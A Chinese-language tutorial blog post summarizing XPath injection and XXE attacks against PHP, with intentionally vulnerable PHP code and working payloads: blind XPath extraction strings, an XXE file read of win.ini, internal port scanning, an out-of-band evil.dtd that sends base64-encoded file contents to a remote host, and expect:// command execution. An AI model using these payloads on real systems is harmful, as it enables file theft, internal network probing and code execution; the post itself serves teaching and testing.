XML相關的安全漏洞-XXE,XPATH小結

0x00前言:

本文主要小結以下php下的xpath查詢xml結構的漏洞利用和XXE漏洞利用

xml是可擴展標記語言,它被設計出來是爲了存儲傳輸數據的。

它的結構是樹形結構,並且標籤要成對出現比如下面這個例子

<?xml version="1.0" encoding="utf-8"?>
<root>
  <name>sijidou</name>
  <from>
      <country>China</country>
      <city>xxxxx</city>
  </from>
</root>

把上面的代碼畫個示意圖

 

0x01xpath注入:

因爲xml的產生是用於存儲和傳輸數據的

既然能夠存儲數據,那麼本質上和數據庫一樣是能夠被增刪改查的

雖然它在實際中不像數據庫一樣是來存大量用戶數據的,但是xml在存儲配置信息上還是十分有用的

就像sql注入一樣,xml文件也可以被注入,並且xml沒有管理用戶一說,即能訪問xml文件的話,對該xml的權限是一致的

首先準備下存儲數據的xml文件

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>sijidou</name>
    <from>
        <country>China</country>
        <city>Jiangsu</city>
    </from>
    <name>miku</name>
    <from>
        <country>Janpan</country>
        <city>null</city>
    </from>
    <name>Rose</name>
    <from>
        <country>US</country>
        <city>London</city>
    </from>
</root>

接下來使用php進行數據讀取的操作

simplexml_load_file是讀取xml文件

xpath是查詢語句,結果以數組返回給$result。查詢語句結構是每個節點間用 "/" 來隔開,之後使用標籤和鍵值匹配的結果

<?php
    $xml = simplexml_load_file("sijidou.xml");
    $result = $xml->xpath("/root[name = 'sijidou']");
    var_dump($result);
?>

這裏將不同的查詢語句和輸出結果展示如下

 

查詢語句

$result = $xml->xpath("/root/name");

輸出值

array(3) { 
  [0]=> object(SimpleXMLElement)#2 (1) {
    [0]=> string(7) "sijidou"
  }
  [1]=> object(SimpleXMLElement)#3 (1) {
    [0]=> string(4) "miku"
  }
  [2]=> object(SimpleXMLElement)#4 (1) {
    [0]=> string(4) "Rose"
  }
}

 

查詢語句

$result = $xml->xpath("/root[name = 'sijidou']");

輸出值

array(1) { 
  [0]=> object(SimpleXMLElement)#2 (2) {
    ["name"]=> array(3) {
      [0]=> string(7) "sijidou"
      [1]=> string(4) "miku"
      [2]=> string(4) "Rose"
    }
    ["from"]=> array(3) {
      [0]=> object(SimpleXMLElement)#3 (2) {
        ["country"]=> string(5) "China"
        ["city"]=> string(7) "Jiangsu"
      }
      [1]=> object(SimpleXMLElement)#4 (2) {
        ["country"]=> string(6) "Janpan"
        ["city"]=> string(4) "null"
      }
      [2]=> object(SimpleXMLElement)#5 (2) {
        ["country"]=> string(2) "US"
        ["city"]=> string(6) "London"
      }
    }
  }
}

 

查詢語句

$result = $xml->xpath("/root/from[country = 'China']");

輸出值

array(1) { 
  [0]=> object(SimpleXMLElement)#2 (2) {
    ["country"]=> string(5) "China"
    ["city"]=> string(7) "Jiangsu"
  }
}

從上面的結果看得出來,查詢如果不是用[鍵='值']這種方式的查詢,只會返回所有路徑標籤的值

如果帶有[鍵='值']的查詢,會返回和該路徑相同的所有路徑和該類路徑之下節點的所有的值

 

那麼查詢語句結構大致清楚了,作爲被存儲數據的文件,一般會把某個值用戶可控,然後拼接語句進行搜索

<?php
    $country = $_GET["country"];
    $xml = simplexml_load_file("sijidou.xml");
    $result = $xml->xpath("/root/from[country = '" . $country . "']");
    var_dump($result);
?>

正常的輸入China,那麼就會返回China和Jiangsu 2個值,但是xml查詢語句有一些特殊的關鍵字,先介紹2個基礎有用的

or      或 
and     與

那麼我們子GET的值傳入country = '1' or '1'='1,可以看到能查看到所有<from>的值,之前如果輸入country=China,只能看到包含China的<from>標籤裏面的值

那麼列出xml文件的所有元素

']|//* |a['
拼接成完整的語句是
/root/from[country = '']|//* |a['']

那麼其中涉及到一些特殊表示

|   有點像linux系統命令的 && 來表示新的查詢語言起始
//* 根路徑下的所有參數 *是通配符

 

有時候沒有回顯的時候,就要利用判斷語句進行盲注了

判斷節點個數

1' or count(/*)=1 and '1'='1

猜字段內容,查根節點的名字,如果按照我上面的xml文件,這裏就是root

1' or substring(name(/*[position()=1]),1,1)='r' and '1'='1
1' or substring(name(/*[position()=1]),2,1)='o' and '1'='1

猜字段內容,查根節點<root>下一個節點的名字,這裏是<name>

1' or substring(name(/root/*[position()=1]),1,1)='n' and '1'='1

判斷根節點的下一個節點個數

1' or count(/root/*)=3 and '1'='1

猜節點裏面內容

#查China節點
1' or substring(/root/from/country,1,1)='C' and '1'='1
#如果是查Janpan節點的話,要在前面的from加個下標
1' or substring(/root/from[2]/country,1,1)='J' and '1'='1

當然還有很多利用方法,有一個叫xcat的python工具可以進行測試,有興趣的可以去嘗試

https://github.com/orf/xcat

防禦手段可以通過轉義單引號或者關鍵字識別來達到阻止注入。

 

0x02XXE:

XXE叫做XML外部實體注入

現在傳送數據的手段除了xml,還有json了,如果說兩者有什麼不同,xml是樹形結構,而json是鍵值對的關係,json的2個數據間沒有結構上的關係

一般的xml文件是這樣的

<?xml version="1.0" encoding="utf-8"?>
<root>
  <name>sijidou</name>
  <from>
      <country>China</country>
      <city>xxxxx</city>
  </from>
</root>

這種無法就是存儲和被當做數據傳遞,並沒有執行什麼可疑的操作

但是xml有個叫做DTD(Document Type Definition)的東西

它可以規定xml裏面的元素的行爲,它的存在形式可以嵌套在xml文件裏面,也可以單獨成爲一個文件,xml要使用其規則就直接添加一行引入就行

觀察xml和dtd的約束規律,理論上要寫java或者php或其他編程語言來檢查文件,或報錯。但是菜鳥教程上有個頁面可以驗證是否正確,但是要IE瀏覽器

http://www.runoob.com/xml/xml-validator.html

內部申明

<!DOCTYPE 根元素 [元素聲明]>

套入上面的例子中

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root[
    <!ELEMENT root (name,from)>
    <!ELEMENT name    (#PCDATA)>
    <!ELEMENT from (country,city)>
    <!ELEMENT country (#PCDATA)>
   <!ENTITY wa "China">
   <!ELEMENT city (#PCDATA)>
]> <root> <name>sijidou</name> <from><country>&wa;</country><city>xxxx</city> </from> </root>

丟到剛剛推薦的網頁上去檢查

 

假設刪掉一個city的元素聲明,就報錯了

 

DTD來規定xml意味着,DTD申明的元素下面xml必須包含,並且只能含有DTD申明的元素,(#PCDATA)爲可讀取的字段, (name, from)表示還包含子節點,它是個根節點或者中間節點

DOCTYPE可以理解爲DTD文件起始,ELEMENT是對每個節點的規定,ENTITY給變量賦值,也就像編程時候的常數變量

 

外部申明

<!DOCTYPE 根元素 SYSTEM "文件名">

 把規則先寫到一個單一的文件夾下,test_dtd.dtd

<!ELEMENT root (name,from)>
<!ELEMENT name    (#PCDATA)>
<!ELEMENT from (country,city)>
<!ELEMENT country (#PCDATA)>
<!ENTITY wa "China">
<!ELEMENT city (#PCDATA)>

然後在xml中引入該文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM "test_dtd.dtd">
<root>
<name>sijidou</name>
<from>
    <country>&wa;</country>
    <city>xxxx</city>
</from>
</root>

 XXE這種攻擊手段就是通過外部申明實體來完成的,因爲

<!DOCTYPE root SYSTEM "file">  因爲有時候是從web其他的站點引入dtd文件的,所以這個file可以帶協議頭,比如file://,php://filter之類的

再者可以通過ENTITY來輸出變量的值,變量的值也可以是文件

那麼我們可以利用把文件內容賦值給變量,然後再輸出變量,就把文件內容輸出來了

讀取文件內容

漏洞源碼

<?php
    $xmlfile =file_get_contents('php://input');
    $xml = simplexml_load_string($xmlfile);
    $xxe = $xml->xxe;
    $str = "$xxe";
    echo $str;
?>

然後是漏洞利用poc

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///c:/windows/win.ini">
]>
<root>
<xxe>&c;</xxe>
</root>

看到可以成功讀取我本地電腦上的c:/windows/win.ini文件了,但是貌似只能支持絕對路徑

端口掃描

掃描端口是利用http協議,帶上目標端口地址的ip,當然請求是目標服務器發出的所以只要連了內網還能掃描內網的端口

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "http://127.0.0.1:80">
]>
<root>
<xxe>&c;</xxe>
</root>

成功的回顯

失敗的回顯

 

通過DTD進行信息回顯

 因爲有時候xml是注入進去了,但是沒有回顯,比如以下情況

<?php
    $xmlfile =file_get_contents('php://input');
    $xml = simplexml_load_string($xmlfile);
?>

發送情況,啥都沒有,但是xml是進行了加載的

那麼可以通過dtd文件進行回顯

原理是用加載遠程的dtd文件,然後通過遠程的dtd文件把file文件內容以url後面參數的形式發給遠程服務器,url的get參數會記錄在日誌中,於是就能獲得文件內容

本地發送的payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ 
 <!ENTITY % send SYSTEM "http://10.10.10.128/evil.dtd">
%send;
]>
<root>&xml;</root>

遠程的evil.dtd文件

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini">
<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">
%payload;

這裏的 %[空格]file 表示file這個變量,參數是 SYSTEM "..."

使用變量即%file;,之後那個單獨的%payload;那一行,表示執行第三行<!ENTITY % payload .....>這條語句,不加就不會執行

利用方式,首先在遠程服務器上監聽2333端口

然後,burpsuite把poc發過去

回頭這邊的遠程服務器接收到了數據了

看看wireshark的流量,也可也看到get請求

再把base64解個碼就是文件的內容了

 

這裏特別要注意幾個點,因爲最先測試的時候,並沒有完全使用網上的poc,想試着手寫以下,然後無法回顯,最後仔細研究了下

參考的XXE文章沒有提到

發送的payload的

<root>&xml;</root>

要和遠程服務器上的evil.dtd中的爲payload參數的 <!ENTITY xml SYSTEM ....>裏面這個xml參數要一模一樣,不然無法利用成功

<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">

還有一點,因爲win.ini裏面有空格換行或者其他奇怪的字符,如果直接發送給遠程服務器當get會不和規範,所以藉助php://filter進行編碼處理

 

 遠程代碼執行

這種情況需要php安裝並啓用expect插件,那麼在xxe的時候能夠使用expect協議進行遠程代碼執行

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "expect://dir">
]>
<root>
<xxe>&c;</xxe>
</root>

 

0x03無法利用:

我搭建的環境是win10 + phpstudy,最先使用的php版本是5.6,發現並無法利用xxe,然後測試了下所有的phpstudy上的php版本

發現5.4及以下能夠利用,而5.5及以上都無法利用

從這篇文章中找到了答案:https://www.jianshu.com/p/7325b2ef8fc9

原因是xmllib2.9.0以後,是默認不解析外部實體的

這裏我的php5.4的xmllib是2.7.8的

切換成php5.5,發現xmllib是2.9.4的了

 

 

0xFF結語:

參考鏈接

xml的攻擊手段:https://www.cnblogs.com/lcamry/p/5736998.html

xpath的基礎介紹:http://www.w3school.com.cn/xpath/xpath_syntax.asp

xpath注入利用:http://netsecurity.51cto.com/art/201401/427521.htm

        https://www.cnblogs.com/backlion/p/8554749.html

XXE參考:https://www.cnblogs.com/ESHLkangi/p/9245404.html

     https://www.cnblogs.com/ESHLkangi/p/9246327.html

     https://www.freebuf.com/articles/web/177979.html

     https://www.cnblogs.com/r00tuser/p/7255939.html

     https://www.jianshu.com/p/7325b2ef8fc9

源碼丟github上了:https://github.com/SiJiDo/WEB/tree/master/XML

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章